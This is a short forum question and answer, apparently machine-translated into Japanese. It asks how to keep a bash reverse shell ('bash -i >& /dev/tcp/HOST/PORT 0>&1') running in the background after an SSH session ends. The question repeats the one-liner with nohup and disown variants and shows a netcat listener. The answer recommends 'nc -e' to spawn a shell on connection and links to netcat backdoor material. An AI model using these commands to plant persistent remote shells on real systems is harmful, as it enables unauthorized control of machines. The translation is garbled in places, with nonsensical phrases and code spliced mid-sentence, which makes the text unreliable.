bash -i >& /dev/tcp/HOST/PORT 0>&1
server1のバックグラウンドで実行したいと思います。接続を受信してコマンドを再送信したいですHOST/PORT
。したがって、tcpdumpでは十分ではありません。
バックグラウンドで実行しようとしています。
bash -i >& /dev/tcp/HOST/PORT 0>&1 &
そしてnohup bash -i >& /dev/tcp/HOST/PORT 0>&1 & disown
しかし、上記のコマンドはうまくいかないようです。私も頑張りましたが、
bg bash -i >& /dev/tcp/HOST/PORT 0>&1
それも動作しません。
どちらも.NETを使用すると、server1に正しく接続できませんnc -l -vv -p PORT
。
ただ実行すると動作しますbash -i >& /dev/tcp/HOST/PORT 0>&1
が、SSH接続を切断するとこの特定の接続が閉じ、この接続の後に新しいコマンドを入力することもできません。
答え1
私はあなたの問題が確実です-interactive
オペランドには端末が必要で、バックグラウンドプロセスは端末をブロックします。stdin/stdout
。使用を検討してくださいnc ... -e
接続時にシェルが呼び出されます。そこに便利な小さなリンクがありますnetcat
pdfチートシート。 ~のため-e
バラより後部ドア。GNUバージョンが必要な場合があります。nc
それを使用してください - それ以外の場合は再コンパイルしたいと思います。